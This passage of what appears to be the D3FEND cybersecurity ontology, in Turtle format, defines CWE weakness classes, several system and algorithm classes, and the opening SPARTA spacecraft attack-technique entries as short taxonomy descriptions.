    d3f:definition "The product uses the RSA algorithm but does not incorporate Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption." ;
    rdfs:subClassOf d3f:CWE-327 .

d3f:CWE-781 a owl:Class ;
    rdfs:label "Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code" ;
    d3f:cwe-id "CWE-781" ;
    d3f:definition "The product defines an IOCTL that uses METHOD_NEITHER for I/O, but it does not validate or incorrectly validates the addresses that are provided." ;
    rdfs:subClassOf d3f:CWE-1285 .

d3f:CWE-782 a owl:Class ;
    rdfs:label "Exposed IOCTL with Insufficient Access Control" ;
    d3f:cwe-id "CWE-782" ;
    d3f:definition "The product implements an IOCTL with functionality that should be restricted, but it does not properly enforce access control for the IOCTL." ;
    rdfs:subClassOf d3f:CWE-749 .

d3f:CWE-783 a owl:Class ;
    rdfs:label "Operator Precedence Logic Error" ;
    d3f:cwe-id "CWE-783" ;
    d3f:definition "The product uses an expression in which operator precedence causes incorrect logic to be used." ;
    rdfs:subClassOf d3f:CWE-670 .

d3f:CWE-784 a owl:Class ;
    rdfs:label "Reliance on Cookies without Validation and Integrity Checking in a Security Decision" ;
    d3f:cwe-id "CWE-784" ;
    d3f:definition "The product uses a protection mechanism that relies on the existence or values of a cookie, but it does not properly ensure that the cookie is valid for the associated user." ;
    rdfs:subClassOf d3f:CWE-565,
        d3f:CWE-807 .

d3f:CWE-785 a owl:Class ;
    rdfs:label "Use of Path Manipulation Function without Maximum-sized Buffer" ;
    d3f:cwe-id "CWE-785" ;
    d3f:definition "The product invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH_MAX." ;
    rdfs:subClassOf d3f:CWE-120,
        d3f:CWE-676 .

d3f:CWE-789 a owl:Class ;
    rdfs:label "Memory Allocation with Excessive Size Value" ;
    d3f:cwe-id "CWE-789" ;
    d3f:definition "The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated." ;
    d3f:synonym "Stack Exhaustion" ;
    rdfs:subClassOf d3f:CWE-1284,
        d3f:CWE-770 .

d3f:CWE-793 a owl:Class ;
    rdfs:label "Only Filtering One Instance of a Special Element" ;
    d3f:cwe-id "CWE-793" ;
    d3f:definition "The product receives data from an upstream component, but only filters a single instance of a special element before sending it to a downstream component." ;
    rdfs:subClassOf d3f:CWE-792 .

d3f:CWE-794 a owl:Class ;
    rdfs:label "Incomplete Filtering of Multiple Instances of Special Elements" ;
    d3f:cwe-id "CWE-794" ;
    d3f:definition "The product receives data from an upstream component, but does not filter all instances of a special element before sending it to a downstream component." ;
    rdfs:subClassOf d3f:CWE-792 .

d3f:CWE-796 a owl:Class ;
    rdfs:label "Only Filtering Special Elements Relative to a Marker" ;
    d3f:cwe-id "CWE-796" ;
    d3f:definition "The product receives data from an upstream component, but only accounts for special elements positioned relative to a marker (e.g. \"at the beginning/end of a string; the second argument\"), thereby missing remaining special elements that may exist before sending it to a downstream component." ;
    rdfs:subClassOf d3f:CWE-795 .

d3f:CWE-797 a owl:Class ;
    rdfs:label "Only Filtering Special Elements at an Absolute Position" ;
    d3f:cwe-id "CWE-797" ;
    d3f:definition "The product receives data from an upstream component, but only accounts for special elements at an absolute position (e.g. \"byte number 10\"), thereby missing remaining special elements that may exist before sending it to a downstream component." ;
    rdfs:subClassOf d3f:CWE-795 .

d3f:CWE-8 a owl:Class ;
    rdfs:label "J2EE Misconfiguration: Entity Bean Declared Remote" ;
    d3f:cwe-id "CWE-8" ;
    d3f:definition "When an application exposes a remote interface for an entity bean, it might also expose methods that get or set the bean's data. These methods could be leveraged to read sensitive information, or to change data in ways that violate the application's expectations, potentially leading to other vulnerabilities." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-80 a owl:Class ;
    rdfs:label "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)" ;
    d3f:cwe-id "CWE-80" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as \"<\", \">\", and \"&\" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages." ;
    rdfs:subClassOf d3f:CWE-79 .

d3f:CWE-804 a owl:Class ;
    rdfs:label "Guessable CAPTCHA" ;
    d3f:cwe-id "CWE-804" ;
    d3f:definition "The product uses a CAPTCHA challenge, but the challenge can be guessed or automatically recognized by a non-human actor." ;
    rdfs:subClassOf d3f:CWE-1390,
        d3f:CWE-863 .

d3f:CWE-806 a owl:Class ;
    rdfs:label "Buffer Access Using Size of Source Buffer" ;
    d3f:cwe-id "CWE-806" ;
    d3f:definition "The product uses the size of a source buffer when reading from or writing to a destination buffer, which may cause it to access memory that is outside of the bounds of the buffer." ;
    rdfs:subClassOf d3f:CWE-805 .

d3f:CWE-81 a owl:Class ;
    rdfs:label "Improper Neutralization of Script in an Error Message Web Page" ;
    d3f:cwe-id "CWE-81" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters that could be interpreted as web-scripting elements when they are sent to an error page." ;
    rdfs:subClassOf d3f:CWE-79 .

d3f:CWE-82 a owl:Class ;
    rdfs:label "Improper Neutralization of Script in Attributes of IMG Tags in a Web Page" ;
    d3f:cwe-id "CWE-82" ;
    d3f:definition "The web application does not neutralize or incorrectly neutralizes scripting elements within attributes of HTML IMG tags, such as the src attribute." ;
    rdfs:subClassOf d3f:CWE-83 .

d3f:CWE-822 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Untrusted Pointer Dereference" ;
    d3f:cwe-id "CWE-822" ;
    d3f:definition "The product obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer." ;
    d3f:weakness-of d3f:PointerDereferencingFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:PointerDereferencingFunction ],
        d3f:CWE-119 .

d3f:CWE-823 a owl:Class ;
    rdfs:label "Use of Out-of-range Pointer Offset" ;
    d3f:cwe-id "CWE-823" ;
    d3f:definition "The product performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer." ;
    d3f:synonym "Untrusted pointer offset" ;
    rdfs:subClassOf d3f:CWE-119 .

d3f:CWE-824 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Access of Uninitialized Pointer" ;
    d3f:cwe-id "CWE-824" ;
    d3f:definition "The product accesses or uses a pointer that has not been initialized." ;
    d3f:weakness-of d3f:PointerDereferencingFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:PointerDereferencingFunction ],
        d3f:CWE-119 .

d3f:CWE-826 a owl:Class ;
    rdfs:label "Premature Release of Resource During Expected Lifetime" ;
    d3f:cwe-id "CWE-826" ;
    d3f:definition "The product releases a resource that is still intended to be used by itself or another actor." ;
    rdfs:subClassOf d3f:CWE-666 .

d3f:CWE-827 a owl:Class ;
    rdfs:label "Improper Control of Document Type Definition" ;
    d3f:cwe-id "CWE-827" ;
    d3f:definition "The product does not restrict a reference to a Document Type Definition (DTD) to the intended control sphere. This might allow attackers to reference arbitrary DTDs, possibly causing the product to expose files, consume excessive system resources, or execute arbitrary http requests on behalf of the attacker." ;
    rdfs:subClassOf d3f:CWE-706,
        d3f:CWE-829 .

d3f:CWE-830 a owl:Class ;
    rdfs:label "Inclusion of Web Functionality from an Untrusted Source" ;
    d3f:cwe-id "CWE-830" ;
    d3f:definition "The product includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the product, potentially granting total access and control of the product to the untrusted source." ;
    rdfs:subClassOf d3f:CWE-829 .

d3f:CWE-831 a owl:Class ;
    rdfs:label "Signal Handler Function Associated with Multiple Signals" ;
    d3f:cwe-id "CWE-831" ;
    d3f:definition "The product defines a function that is used as a handler for more than one signal." ;
    rdfs:subClassOf d3f:CWE-364 .

d3f:CWE-832 a owl:Class ;
    rdfs:label "Unlock of a Resource that is not Locked" ;
    d3f:cwe-id "CWE-832" ;
    d3f:definition "The product attempts to unlock a resource that is not locked." ;
    rdfs:subClassOf d3f:CWE-667 .

d3f:CWE-833 a owl:Class ;
    rdfs:label "Deadlock" ;
    d3f:cwe-id "CWE-833" ;
    d3f:definition "The product contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock." ;
    rdfs:subClassOf d3f:CWE-667 .

d3f:CWE-835 a owl:Class ;
    rdfs:label "Loop with Unreachable Exit Condition ('Infinite Loop')" ;
    d3f:cwe-id "CWE-835" ;
    d3f:definition "The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop." ;
    rdfs:subClassOf d3f:CWE-834 .

d3f:CWE-836 a owl:Class ;
    rdfs:label "Use of Password Hash Instead of Password for Authentication" ;
    d3f:cwe-id "CWE-836" ;
    d3f:definition "The product records password hashes in a data store, receives a hash of a password from a client, and compares the supplied hash to the hash obtained from the data store." ;
    rdfs:subClassOf d3f:CWE-1390 .

d3f:CWE-837 a owl:Class ;
    rdfs:label "Improper Enforcement of a Single, Unique Action" ;
    d3f:cwe-id "CWE-837" ;
    d3f:definition "The product requires that an actor should only be able to perform an action once, or to have only one unique action, but the product does not enforce or improperly enforces this restriction." ;
    rdfs:subClassOf d3f:CWE-799 .

d3f:CWE-838 a owl:Class ;
    rdfs:label "Inappropriate Encoding for Output Context" ;
    d3f:cwe-id "CWE-838" ;
    d3f:definition "The product uses or specifies an encoding when generating output to a downstream component, but the specified encoding is not the same as the encoding that is expected by the downstream component." ;
    rdfs:subClassOf d3f:CWE-116 .

d3f:CWE-839 a owl:Class ;
    rdfs:label "Numeric Range Comparison Without Minimum Check" ;
    d3f:cwe-id "CWE-839" ;
    d3f:definition "The product checks a value to ensure that it is less than or equal to a maximum, but it does not also verify that the value is greater than or equal to the minimum." ;
    d3f:synonym "Signed comparison" ;
    rdfs:subClassOf d3f:CWE-1023 .

d3f:CWE-84 a owl:Class ;
    rdfs:label "Improper Neutralization of Encoded URI Schemes in a Web Page" ;
    d3f:cwe-id "CWE-84" ;
    d3f:definition "The web application improperly neutralizes user-controlled input for executable script disguised with URI encodings." ;
    rdfs:subClassOf d3f:CWE-79 .

d3f:CWE-841 a owl:Class ;
    rdfs:label "Improper Enforcement of Behavioral Workflow" ;
    d3f:cwe-id "CWE-841" ;
    d3f:definition "The product supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence." ;
    rdfs:subClassOf d3f:CWE-691 .

d3f:CWE-842 a owl:Class ;
    rdfs:label "Placement of User into Incorrect Group" ;
    d3f:cwe-id "CWE-842" ;
    d3f:definition "The product or the administrator places a user into an incorrect group." ;
    rdfs:subClassOf d3f:CWE-286 .

d3f:CWE-843 a owl:Class ;
    rdfs:label "Access of Resource Using Incompatible Type ('Type Confusion')" ;
    d3f:cwe-id "CWE-843" ;
    d3f:definition "The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type." ;
    d3f:synonym "Object Type Confusion" ;
    rdfs:subClassOf d3f:CWE-704 .

d3f:CWE-85 a owl:Class ;
    rdfs:label "Doubled Character XSS Manipulations" ;
    d3f:cwe-id "CWE-85" ;
    d3f:definition "The web application does not filter user-controlled input for executable script disguised using doubling of the involved characters." ;
    rdfs:subClassOf d3f:CWE-79 .

d3f:CWE-86 a owl:Class ;
    rdfs:label "Improper Neutralization of Invalid Characters in Identifiers in Web Pages" ;
    d3f:cwe-id "CWE-86" ;
    d3f:definition "The product does not neutralize or incorrectly neutralizes invalid characters or byte sequences in the middle of tag names, URI schemes, and other identifiers." ;
    rdfs:subClassOf d3f:CWE-436,
        d3f:CWE-79 .

d3f:CWE-87 a owl:Class ;
    rdfs:label "Improper Neutralization of Alternate XSS Syntax" ;
    d3f:cwe-id "CWE-87" ;
    d3f:definition "The product does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax." ;
    rdfs:subClassOf d3f:CWE-79 .

d3f:CWE-88 a owl:Class ;
    rdfs:label "Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')" ;
    d3f:cwe-id "CWE-88" ;
    d3f:definition "The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string." ;
    rdfs:subClassOf d3f:CWE-77 .

d3f:CWE-9 a owl:Class ;
    rdfs:label "J2EE Misconfiguration: Weak Access Permissions for EJB Methods" ;
    d3f:cwe-id "CWE-9" ;
    d3f:definition "If elevated access rights are assigned to EJB methods, then an attacker can take advantage of the permissions to exploit the product." ;
    rdfs:subClassOf d3f:CWE-266 .

d3f:CWE-90 a owl:Class ;
    rdfs:label "Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')" ;
    d3f:cwe-id "CWE-90" ;
    d3f:definition "The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-943 .

d3f:CWE-910 a owl:Class ;
    rdfs:label "Use of Expired File Descriptor" ;
    d3f:cwe-id "CWE-910" ;
    d3f:definition "The product uses or accesses a file descriptor after it has been closed." ;
    d3f:synonym "Stale file descriptor" ;
    rdfs:subClassOf d3f:CWE-672 .

d3f:CWE-911 a owl:Class ;
    rdfs:label "Improper Update of Reference Count" ;
    d3f:cwe-id "CWE-911" ;
    d3f:definition "The product uses a reference count to manage a resource, but it does not update or incorrectly updates the reference count." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-917 a owl:Class ;
    rdfs:label "Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')" ;
    d3f:cwe-id "CWE-917" ;
    d3f:definition "The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed." ;
    d3f:synonym "EL Injection" ;
    rdfs:subClassOf d3f:CWE-77 .

d3f:CWE-918 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Server-Side Request Forgery (SSRF)" ;
    d3f:cwe-id "CWE-918" ;
    d3f:definition "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination." ;
    d3f:synonym "SSRF",
        "XSPA" ;
    d3f:weakness-of d3f:UserInputFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:UserInputFunction ],
        d3f:CWE-441 .

d3f:CWE-920 a owl:Class ;
    rdfs:label "Improper Restriction of Power Consumption" ;
    d3f:cwe-id "CWE-920" ;
    d3f:definition "The product operates in an environment in which power is a limited resource that cannot be automatically replenished, but the product does not properly restrict the amount of power that its operation consumes." ;
    rdfs:subClassOf d3f:CWE-400 .

d3f:CWE-921 a owl:Class ;
    rdfs:label "Storage of Sensitive Data in a Mechanism without Access Control" ;
    d3f:cwe-id "CWE-921" ;
    d3f:definition "The product stores sensitive information in a file system or device that does not have built-in access control." ;
    rdfs:subClassOf d3f:CWE-922 .

d3f:CWE-924 a owl:Class ;
    rdfs:label "Improper Enforcement of Message Integrity During Transmission in a Communication Channel" ;
    d3f:cwe-id "CWE-924" ;
    d3f:definition "The product establishes a communication channel with an endpoint and receives a message from that endpoint, but it does not sufficiently ensure that the message was not modified during transmission." ;
    rdfs:subClassOf d3f:CWE-345 .

d3f:CWE-925 a owl:Class ;
    rdfs:label "Improper Verification of Intent by Broadcast Receiver" ;
    d3f:cwe-id "CWE-925" ;
    d3f:definition "The Android application uses a Broadcast Receiver that receives an Intent but does not properly verify that the Intent came from an authorized source." ;
    d3f:synonym "Intent Spoofing" ;
    rdfs:subClassOf d3f:CWE-940 .

d3f:CWE-926 a owl:Class ;
    rdfs:label "Improper Export of Android Application Components" ;
    d3f:cwe-id "CWE-926" ;
    d3f:definition "The Android application exports a component for use by other applications, but does not properly restrict which applications can launch the component or access the data it contains." ;
    rdfs:subClassOf d3f:CWE-285 .

d3f:CWE-927 a owl:Class ;
    rdfs:label "Use of Implicit Intent for Sensitive Communication" ;
    d3f:cwe-id "CWE-927" ;
    d3f:definition "The Android application uses an implicit intent for transmitting sensitive data to other applications." ;
    rdfs:subClassOf d3f:CWE-285,
        d3f:CWE-668 .

d3f:CWE-939 a owl:Class ;
    rdfs:label "Improper Authorization in Handler for Custom URL Scheme" ;
    d3f:cwe-id "CWE-939" ;
    d3f:definition "The product uses a handler for a custom URL scheme, but it does not properly restrict which actors can invoke the handler using the scheme." ;
    rdfs:subClassOf d3f:CWE-862 .

d3f:CWE-941 a owl:Class ;
    rdfs:label "Incorrectly Specified Destination in a Communication Channel" ;
    d3f:cwe-id "CWE-941" ;
    d3f:definition "The product creates a communication channel to initiate an outgoing request to an actor, but it does not correctly specify the intended destination for that actor." ;
    rdfs:subClassOf d3f:CWE-923 .

d3f:CWE-942 a owl:Class ;
    rdfs:label "Permissive Cross-domain Policy with Untrusted Domains" ;
    d3f:cwe-id "CWE-942" ;
    d3f:definition "The product uses a cross-domain policy file that includes domains that should not be trusted." ;
    rdfs:subClassOf d3f:CWE-183,
        d3f:CWE-863,
        d3f:CWE-923 .

d3f:CWE-95 a owl:Class ;
    rdfs:label "Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')" ;
    d3f:cwe-id "CWE-95" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. \"eval\")." ;
    rdfs:subClassOf d3f:CWE-94 .

d3f:CWE-97 a owl:Class ;
    rdfs:label "Improper Neutralization of Server-Side Includes (SSI) Within a Web Page" ;
    d3f:cwe-id "CWE-97" ;
    d3f:definition "The product generates a web page, but does not neutralize or incorrectly neutralizes user-controllable input that could be interpreted as a server-side include (SSI) directive." ;
    rdfs:subClassOf d3f:CWE-96 .

d3f:CWE-98 a owl:Class ;
    rdfs:label "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')" ;
    d3f:cwe-id "CWE-98" ;
    d3f:definition "The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in \"require,\" \"include,\" or similar functions." ;
    d3f:synonym "Local file inclusion",
        "RFI",
        "Remote file include" ;
    rdfs:subClassOf d3f:CWE-706,
        d3f:CWE-829 .

d3f:CanopyClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Canopy Clustering" ;
    d3f:d3fend-id "D3A-CC" ;
    d3f:definition "The canopy clustering algorithm is an unsupervised pre-clustering algorithm  often used as preprocessing step for the K-means algorithm or the Hierarchical clustering algorithm. It is intended to speed up clustering operations on large data sets." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Canopy clustering algorithm. [Link](https://en.wikipedia.org/wiki/Canopy_clustering_algorithm)""" ;
    rdfs:subClassOf d3f:ClusterAnalysis .

d3f:Capability a owl:Class ;
    rdfs:label "Capability" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Capability_(systems_engineering)> ;
    rdfs:seeAlso <https://web.archive.org/web/20081123014953/http://www.dtic.mil/doctrine/jel/new_pubs/jp1_02.pdf> ;
    rdfs:subClassOf d3f:ExternalThing .

d3f:ChatroomClient a owl:Class ;
    rdfs:label "Chatroom Client" ;
    d3f:definition "Client software used to describe conduct any form of synchronous conferencing, occasionally even asynchronous conferencing. The term can thus mean any technology ranging from real-time online chat and online interaction with strangers (e.g., online forums) to fully immersive graphical social environments." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Chat_room> ;
    rdfs:subClassOf d3f:CollaborativeSoftware ;
    skos:altLabel "Chat Room Client" .

d3f:ChildProcess a owl:Class ;
    rdfs:label "Child Process" ;
    d3f:definition "A child process in computing is a process created by another process (the parent process). This technique pertains to multitasking operating systems, and is sometimes called a subprocess or traditionally a subtask. There are two major procedures for creating a child process: the fork system call (preferred in Unix-like systems and the POSIX standard) and the spawn (preferred in the modern (NT) kernel of Microsoft Windows, as well as in some historical operating systems)." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Child_process> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Parent_process> ;
    rdfs:subClassOf d3f:Process .

d3f:Cloud-basedDatabaseApplication a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cloud-based Database Application" ;
    d3f:definition "A database application where the underlying infrastructure is managed by a third-party cloud provider. Examples include DynamoDB, Firestore, and CosmosDB." ;
    d3f:provider d3f:CloudServiceProvider ;
    d3f:synonym "Serverless Database Application" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:provider ;
            owl:someValuesFrom d3f:CloudServiceProvider ],
        d3f:DatabaseServiceApplication .

d3f:CloudConfigurationModificationEvent a owl:Class ;
    rdfs:label "Cloud Configuration Modification Event" ;
    d3f:definition "An event that updates cloud-hosted resource configurations such as IAM policies, virtual network constructs, storage settings, or managed-service parameters; impacting resource provisioning, access control, functionality, or compliance." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:CloudConfiguration ],
        d3f:ConfigurationModificationEvent .

d3f:CloudServiceSensor a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cloud Service Sensor" ;
    d3f:definition "Senses data from cloud service platforms. Including data from cloud service  authentications, authorizations, and other activities." ;
    d3f:monitors d3f:CloudServiceAuthentication,
        d3f:CloudServiceAuthorization ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:CloudServiceAuthorization ],
        [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:CloudServiceAuthentication ],
        d3f:CyberSensor .

d3f:ComputeDeviceEvent a owl:Class ;
    rdfs:label "Compute Device Event" ;
    d3f:definition "An event capturing the operation, state, or performance of computational hardware, such as CPUs, GPUs, or accelerators. These events reflect processing capacity changes, utilization anomalies, or device health." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:Processor ],
        d3f:HardwareDeviceEvent .

d3f:ComputerCabinet a owl:Class ;
    rdfs:label "Computer Cabinet" ;
    d3f:definition "A computer cabinet houses one or more computers and can range in size and material." ;
    rdfs:seeAlso "IEEE C37.20.2",
        "https://dbpedia.org/page/Computer_cabinet" ;
    rdfs:subClassOf d3f:ComputerEnclosure .

d3f:ComputerCase a owl:Class ;
    rdfs:label "Computer Case" ;
    d3f:definition "A computer case is a computer enclosure which encloses a single primary computer." ;
    rdfs:seeAlso "https://dbpedia.org/page/Computer_case" ;
    rdfs:subClassOf d3f:ComputerEnclosure .

d3f:ComputingServer a owl:Class ;
    rdfs:label "Computing Server" ;
    d3f:definition "A compute server is a system specifically designed to undertake large amounts of computation, usually but not necessarily in a client/server environment." ;
    rdfs:isDefinedBy <https://www.encyclopedia.com/computing/dictionaries-thesauruses-pictures-and-press-releases/compute-server> ;
    rdfs:subClassOf d3f:Server .

d3f:Condition a owl:Class ;
    rdfs:label "Condition" ;
    d3f:definition "An assumption on which rests the validity or effect of something else." ;
    rdfs:comment "Less common usage versus state, meant to superclass precondition, postcondition, and effect." ;
    rdfs:isDefinedBy "n-06768279" ;
    rdfs:subClassOf d3f:D3FENDCore .

d3f:ConfigurationManagementDatabase a owl:Class ;
    rdfs:label "Configuration Management Database" ;
    d3f:definition "A database used to store configuration records throughout their lifecycle. The Configuration Management System (CMS) maintains one or more CMDBs, and each CMDB stores attributes of configuration items (CIs), and relationships with other CIs." ;
    rdfs:isDefinedBy <https://web.archive.org/web/20111201040529/http://www.best-management-practice.com/gempdf/itil_glossary_v3_1_24.pdf> ;
    rdfs:seeAlso <https://dbpedia.org/resource/Configuration_management_database>,
        <https://wiki.en.it-processmaps.com/index.php/ITIL_Glossary/_ITIL_Terms_C#Config_Management_Database_.28CMDB.29>,
        <https://www.dmtf.org/standards/cmdbf> ;
    rdfs:subClassOf d3f:ConfigurationDatabase .

d3f:ConsoleOutputFunction a owl:Class ;
    rdfs:label "Console Output Function" ;
    d3f:definition "Outputs characters to a computer console." ;
    rdfs:subClassOf d3f:Subroutine .

d3f:ContainerBuildTool a owl:Class ;
    rdfs:label "Container Build Tool" ;
    d3f:definition "A software build tool that creates a container (e.g., Docker container) for deployment." ;
    rdfs:subClassOf d3f:SoftwarePackagingTool .

d3f:ContainerRuntime a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Container Runtime" ;
    d3f:definition "A software layer between a container process and a kernel which often mediates the invocation of a system call." ;
    d3f:runs d3f:ContainerImage ;
    rdfs:seeAlso d3f:ContainerProcess,
        d3f:Kernel,
        d3f:SystemCall ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:runs ;
            owl:someValuesFrom d3f:ContainerImage ],
        d3f:ServiceApplication .

d3f:CopyMemoryFunction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Copy Memory Function" ;
    d3f:copies d3f:MemoryBlock ;
    d3f:definition "Copies a memory block from one location to another." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:copies ;
            owl:someValuesFrom d3f:MemoryBlock ],
        d3f:Subroutine .

d3f:CramersV a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cramer's V" ;
    d3f:d3fend-id "D3A-CV" ;
    d3f:definition "Cramér's V (sometimes referred to as Cramér's phi and denoted as φc) is a measure of association between two nominal variables, giving a value between 0 and +1 (inclusive) and is based on Pearson's chi-squared statistic." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Cramér's V. [Link](https://en.wikipedia.org/wiki/Cram%C3%A9r%27s_V)""" ;
    d3f:synonym "Cramer's Phi" ;
    rdfs:subClassOf d3f:Correlation .

d3f:CycleGAN a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "CycleGAN" ;
    d3f:d3fend-id "D3A-CYC" ;
    d3f:definition "The Cycle Generative Adversarial Network (CycleGAN) is an approach to training a deep convolutional neural network for image-to-image translation tasks by mapping between input and output images using unpaired dataset." ;
    d3f:kb-article """## References
Esri. (n.d.). How CycleGAN Works. [Link](https://developers.arcgis.com/python/guide/how-cyclegan-works/)""" ;
    rdfs:subClassOf d3f:Image-to-ImageTranslationGAN .

d3f:DBSCAN a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "DBSCAN" ;
    d3f:d3fend-id "D3A-DBS" ;
    d3f:definition "A density-based clustering algorithm that works on the assumption that clusters are dense regions in space separated by regions of lower density." ;
    d3f:kb-article """## References
Analytics Vidhya. (2020, September 15). How DBSCAN Clustering Works: A Comprehensive Guide with Implementations in Python. [Link](https://www.analyticsvidhya.com/blog/2020/09/how-dbscan-clustering-works/#:~:text=DBSCAN%20is%20a%20density%2Dbased,points%20into%20a%20single%20cluster.)""" ;
    rdfs:subClassOf d3f:Density-basedClustering .

d3f:DE-0001 a owl:Class ;
    rdfs:label "Disable Fault Management - SPARTA" ;
    d3f:attack-id "DE-0001" ;
    d3f:definition "Threat actors may disable fault management within the victim spacecraft during the attack campaign. During the development process, many fault management mechanisms are added to the various parts of the spacecraft in order to protect it from a variety of bad/corrupted commands, invalid sensor data, and more. By disabling these mechanisms, threat actors may be able to have commands processed that would not normally be allowed." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0001/> ;
    rdfs:subClassOf d3f:SPARTADefenseEvasionTechnique ;
    skos:prefLabel "Disable Fault Management" .

d3f:DE-0002.01 a owl:Class ;
    rdfs:label "Inhibit Ground System Functionality - SPARTA" ;
    d3f:attack-id "DE-0002.01" ;
    d3f:definition "Threat actors may utilize access to the ground system to inhibit its ability to accurately process, render, or interpret spacecraft telemetry, effectively leaving ground controllers unaware of the spacecraft’s true state or activity. This may involve traditional denial-based techniques, such as disabling telemetry software, corrupting processing pipelines, or crashing display interfaces. In addition, more subtle deception-based techniques may be used to falsify telemetry data within the ground system — such as modifying command counters, acknowledgments, housekeeping data, or sensor outputs — to provide the appearance of nominal operation. These actions can suppress alerts, mask unauthorized activity, or prevent both automated and manual mitigations from being initiated based on misleading ground-side information. Because telemetry is the primary method by which ground controllers monitor the health, behavior, and safety of the spacecraft, any disruption or falsification of this data directly undermines situational awareness and operational control." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0002/01/> ;
    rdfs:subClassOf d3f:DE-0002 ;
    skos:prefLabel "Inhibit Ground System Functionality" .

d3f:DE-0002.02 a owl:Class ;
    rdfs:label "Jam Link Signal - SPARTA" ;
    d3f:attack-id "DE-0002.02" ;
    d3f:definition "Threat actors may overwhelm/jam the downlink signal to prevent transmitted telemetry signals from reaching their destination without severe modification/interference, effectively leaving ground controllers unaware of vehicle activity during this time. Telemetry is the only method in which ground controllers can monitor the health and stability of the spacecraft while in orbit. By disabling this downlink, threat actors may be able to stop mitigations from taking place." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0002/02/> ;
    rdfs:subClassOf d3f:DE-0002 ;
    skos:prefLabel "Jam Link Signal" .

d3f:DE-0002.03 a owl:Class ;
    rdfs:label "Inhibit Spacecraft Functionality - SPARTA" ;
    d3f:attack-id "DE-0002.03" ;
    d3f:definition "Threat actors may manipulate or shut down a target spacecraft's on-board processes to inhibit the spacecraft's ability to generate or transmit telemetry signals, effectively leaving ground controllers unaware of vehicle activity during this time. Telemetry is the only method in which ground controllers can monitor the health and stability of the spacecraft while in orbit. By disabling this downlink, threat actors may be able to stop mitigations from taking place." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0002/03/> ;
    rdfs:subClassOf d3f:DE-0002 ;
    skos:prefLabel "Inhibit Spacecraft Functionality" .

d3f:DE-0003.01 a owl:Class ;
    rdfs:label "Vehicle Command Counter (VCC) - SPARTA" ;
